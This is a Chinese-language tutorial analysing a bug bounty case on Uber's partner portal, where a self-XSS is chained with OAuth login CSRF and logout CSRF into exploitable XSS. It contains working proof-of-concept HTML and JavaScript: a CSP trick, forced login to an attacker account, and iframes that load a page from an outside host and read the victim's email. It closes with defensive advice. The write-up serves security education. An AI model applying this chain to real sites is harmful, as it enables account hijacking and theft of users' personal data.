优步漏洞悬赏:将self-xss变成可用的xss
字数 1244 2025-08-27 12:33:31
优步漏洞利用:将Self-XSS转化为可利用XSS的教学文档
漏洞概述
本教学文档详细分析了一个将Self-XSS转化为可利用XSS的漏洞链案例,涉及优步(partner.uber.com)平台的多个安全漏洞组合利用。
初始发现:Self-XSS
在优步的partner入口(司机登录界面)发现了一个典型的存储型XSS漏洞:
- 漏洞位置:个人信息编辑界面
- 利用方式:将个人信息项修改为
<script>alert(document.domain);</script> - 限制:仅影响当前用户(Self-XSS),无法直接影响其他用户
相关漏洞分析
1. OAuth工作流程缺陷
优步的OAuth实现存在以下问题:
- 缺少state参数:在回调URL
/oauth/callback?code=...中未使用推荐的state参数 - CSRF漏洞:导致登录功能存在CSRF风险
2. 登出功能CSRF
- 访问
/logout会销毁partner.uber.com的session - 然后重定向到login.uber.com的登出功能
- 同样存在CSRF问题
漏洞链利用思路
将三个小漏洞(Self-XSS和两个CSRF)串联起来:
- 将用户从partner.uber.com session登出,但保留login.uber.com的session
- 将用户登录到攻击者账号,执行XSS payload
- 在代码执行期间将用户登录回自己的账号,获取其信息
详细利用步骤
步骤1:仅登出一个domain
使用CSP技巧防止完全登出:
<!-- 设置CSP阻挡到login.uber.com的请求 -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- 登出partners.uber.com -->
步骤2:登录到攻击者账号
<!-- 设置CSP阻挡到login.uber.com的请求 -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- 登出partners.uber.com -->
<script>
// 初始化login
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
// 通过攻击者的code重定向到login
var redir = function() {
var code = window.location.hash.slice(1); // 从URL获取code
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
// 重定向到包含payload的个人信息页
window.location = 'https://partners.uber.com/profile/'
}
}
</script>
步骤3:切回受害者账号
XSS payload代码(存储在攻击者账号中):
// 创建iframe来登出攻击者账号并登回受害者账号
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);
iframe内容(login-target.html):
<!-- 设置CSP阻挡到login.uber.com的请求 -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- 将用户从攻击者partner账户中登出 -->
<script>
// 通过login.uber.com的session登录到partners
var redir = function() {
window.location = 'https://partners.uber.com/login/';
};
</script>
获取受害者数据
// 等待几秒后加载个人信息页(现在是受害者的)
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
// 提取受害者邮箱作为PoC
profileIframe.onload = function() {
var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
var matches = /value="([^"]*)" name="email"/.exec(d);
alert(matches[1]);
}
}, 9000);
完整攻击流程
- 将步骤3的payload添加到攻击者个人信息页
- 登录攻击者账号,取消回调,记录未使用的code参数
- 诱使受害者访问步骤2创建的文件
- 受害者被登出,然后登录到攻击者账号
- 步骤3的payload被执行
- 在隐藏iframe中,受害者从攻击者账号登出
- 在另一个隐藏iframe中,受害者登录回自己的账号
- 现在有一个与受害者session同源的iframe
技术要点总结
- CSP滥用:利用CSP限制请求的特性防止完全登出
- OAuth流程缺陷:缺少state参数导致CSRF可能
- iframe技巧:通过iframe维持代码执行环境
- 时序控制:合理设置延迟确保各步骤按序执行
- 同源策略绕过:利用X-Frame-Options设置为sameorigin而非deny
防御建议
- 对所有用户输入进行严格过滤和转义
- OAuth实现中必须使用state参数
- 设置合理的CSP策略
- 关键操作使用CSRF token保护
- 考虑将X-Frame-Options设置为DENY
- 对敏感操作实施二次验证
此案例展示了如何通过创造性思维将看似无害的漏洞组合成严重的安全威胁,强调了全面防御的重要性。